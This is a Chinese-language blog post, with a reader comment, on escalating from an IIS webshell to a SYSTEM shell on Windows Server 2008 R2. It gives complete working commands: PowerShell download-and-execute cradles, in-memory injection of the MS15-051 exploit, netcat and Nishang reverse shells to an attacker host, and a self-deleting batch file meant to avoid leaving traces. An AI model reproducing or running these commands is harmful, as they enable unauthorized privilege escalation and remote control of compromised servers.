环境:win2008R2一台
外网服务器一台
场景:已经得到win2008R2的webshell,权限的iis,目标是得到system权限的交互式shell。
方法1:上传nc到win2008R2
ms15-051在内存提权 powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://外网IP:8011/ms15-051.exe -ExeArgs '\"nc -e cmd 外网IP 8443\"' -ForceASLR
方法2:
将反弹Powershell的命令写在1.bat,为了不留下文件,所以del 1.bat,但感觉还不够优雅。
反弹Powershell的命令(1.bat)
del 1.bat && powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 外网IP -port 8443
然后在提权的时候执行1.bat
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://外网IP:8011/ms15-051.exe -ExeArgs '\"1.bat\"' -ForceASLR
有人可能会问直接执行反弹shell的命令行不行,因为命令中存在单引号,所以暂时是写在bat里,避免报错。但记得可以执行Empire中经过base64编码的命令,可以避免单引号这个问题,还未实践成功。
参考链接:
本文作者为Mr.Wu,转载请注明,尊守博主劳动成果!
由于经常折腾代码,可能会导致个别文章内容显示错位或者别的 BUG 影响阅读; 如发现请在该文章下留言告知于我,thank you !
我想问这样是因为杀软不拦截嘛????
@noname这篇文章只是在讲解一种姿势,不考虑杀软因素,虽然感觉很多此一举。